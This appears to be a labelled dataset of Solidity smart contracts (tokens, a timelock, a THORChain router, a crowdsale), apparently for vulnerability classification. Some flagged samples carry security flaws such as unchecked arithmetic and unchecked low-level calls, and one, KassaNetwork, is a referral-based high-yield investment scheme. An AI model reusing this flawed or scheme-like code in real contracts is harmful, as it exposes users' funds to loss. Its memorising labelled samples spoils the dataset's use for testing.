_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RevOil";
string public constant TOKEN_SYMBOL = "RVL";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xF425D5297e9A9bb52Da8F927c28cA789A7401fd8;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[2] memory addresses = [address(0xf425d5297e9a9bb52da8f927c28ca789a7401fd8),address(0xf425d5297e9a9bb52da8f927c28ca789a7401fd8)];
uint[2] memory amounts = [uint(200000000000000000000000),uint(2000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(1559941201)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 262 |
pragma solidity ^0.4.25;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CoinBazarCap is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 17000000 * 100000000;
function name() public constant returns (string) { return "CoinBazarCap"; }
function symbol() public constant returns (string) { return "CBC"; }
function decimals() public constant returns (uint8) { return 8; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function CoinBazarCap() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeCBC(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
emit Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 3,369 |
contract Batcoin {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function Batcoin() {
initialSupply = 1000000;
name ="batcoin";
decimals = 4;
symbol = "BATC";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 4,061 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "amount less than 0");
_token.safeTransfer(_beneficiary, amount);
}
} | 0 | 1,802 |
pragma solidity 0.8.3;
interface iERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint) external returns (bool);
function burn(uint) external;
}
interface iRUNE {
function transferTo(address, uint) external returns (bool);
}
interface iROUTER {
function deposit(address, address, uint, string calldata) external;
}
contract THORChain_Router {
address public RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb;
struct Coin {
address asset;
uint amount;
}
mapping(address => mapping(address => uint)) public vaultAllowance;
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
event TransferOut(address indexed vault, address indexed to, address asset, uint amount, string memo);
event TransferAllowance(address indexed oldVault, address indexed newVault, address asset, uint amount, string memo);
event VaultTransfer(address indexed oldVault, address indexed newVault, Coin[] coins, string memo);
constructor() {}
function deposit(address payable vault, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
vault.call{value:safeAmount}("");
} else if(asset == RUNE) {
safeAmount = amount;
iRUNE(RUNE).transferTo(address(this), amount);
iERC20(RUNE).burn(amount);
} else {
safeAmount = safeTransferFrom(asset, amount);
vaultAllowance[vault][asset] += safeAmount;
}
emit Deposit(vault, asset, safeAmount, memo);
}
function transferAllowance(address router ,address newVault, address asset, uint amount, string memory memo) public {
if (router == address(this)){
_adjustAllowances(newVault, asset, amount);
emit TransferAllowance(msg.sender, newVault, asset, amount, memo);
} else {
_routerDeposit(router, newVault, asset, amount, memo);
}
}
function transferOut(address payable to, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
to.call{value:msg.value}("");
} else {
vaultAllowance[msg.sender][asset] -= amount;
asset.call(abi.encodeWithSelector(0xa9059cbb, to, amount));
safeAmount = amount;
}
emit TransferOut(msg.sender, to, asset, safeAmount, memo);
}
function batchTransferOut(address[] memory recipients, Coin[] memory coins, string[] memory memos) public payable {
for(uint i = 0; i < coins.length; i++){
transferOut(payable(recipients[i]), coins[i].asset, coins[i].amount, memos[i]);
}
}
function returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo) public payable {
if (router == address(this)){
for(uint i = 0; i < coins.length; i++){
_adjustAllowances(asgard, coins[i].asset, coins[i].amount);
}
emit VaultTransfer(msg.sender, asgard, coins, memo);
} else {
for(uint i = 0; i < coins.length; i++){
_routerDeposit(router, asgard, coins[i].asset, coins[i].amount, memo);
}
}
asgard.call{value:msg.value}("");
}
function safeTransferFrom(address _asset, uint _amount) internal returns(uint amount) {
uint _startBal = iERC20(_asset).balanceOf(address(this));
(bool success, bytes memory data) = _asset.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), _amount));
require(success && (data.length == 0 || abi.decode(data, (bool))));
return (iERC20(_asset).balanceOf(address(this)) - _startBal);
}
function _adjustAllowances(address _newVault, address _asset, uint _amount) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
vaultAllowance[_newVault][_asset] += _amount;
}
function _routerDeposit(address _router, address _vault, address _asset, uint _amount, string memory _memo) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
iERC20(_asset).approve(_router, _amount);
iROUTER(_router).deposit(_vault, _asset, _amount, _memo);
}
} | 1 | 4,395 |
pragma solidity ^0.4.25;
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 200/50';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 75;
uint public constant ownerFee = 700;
uint[3] public bonusReferrer = [500, 200, 100];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 200;
uint public constant minimalDeposit = 0.5 ether;
uint public constant maximalDepositStart = 30 ether;
uint public constant maximalDepositFinish = 100 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
uint public unlimitedInvest = 3000 ether;
bool public isUnlimitedContractInvest = false;
bool public isUnlimitedDayInvest = false;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogNewReferralAtLevel(address _addr, uint[3] _levels);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint[3] countReferralsByLevel;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint[3] countReferralsByLevel, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].countReferralsByLevel,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
if (isUnlimitedDayInvest) {
limit = maximalDepositFinish;
return limit;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = dayDepositLimit;
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
uint base = 1 ether;
if (proc == 1)
{
s = s + base.mul(nDay.mul(nDay).mul(35).div(10000)) + base.mul(nDay.mul(4589).div(10000));
}
else
{
s = s + base.mul(nDay.mul(nDay).mul(141).div(10000)) + base.mul(nDay.mul(8960).div(10000));
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
if (isUnlimitedContractInvest)
{
maximalDeposit = 0;
}
else
{
maximalDeposit = getMaximalDeposit(nDay);
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
checkLimits(moneyValue);
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
(!isUnlimitedContractInvest && moneyValue > getCurrentMaximalDeposit()) ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (!isUnlimitedDayInvest && moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
countReferralsByLevel(referrer, 0);
}
function countReferralsByLevel(address referrer, uint level) private
{
if (level > 2)
{
return;
}
uint l = level;
user[referrer].countReferralsByLevel[l]++;
emit LogNewReferralAtLevel(referrer, user[referrer].countReferralsByLevel);
address _nextReferrer = user[referrer].referrer;
if (_nextReferrer != 0)
{
l++;
countReferralsByLevel(_nextReferrer, l);
}
return;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
address r = referrer;
for (uint i = 0; i < bonusReferrer.length && r != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[r].referrer;
emit LogCalcBonusReferrer(r, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(r, amountReferrer);
r = nextReferrer;
}
}
function checkLimits(uint value) private
{
if (totalInvest + value > unlimitedInvest)
{
isUnlimitedContractInvest = true;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit > maximalDepositFinish)
{
isUnlimitedDayInvest = true;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[3] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 1 | 2,385 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
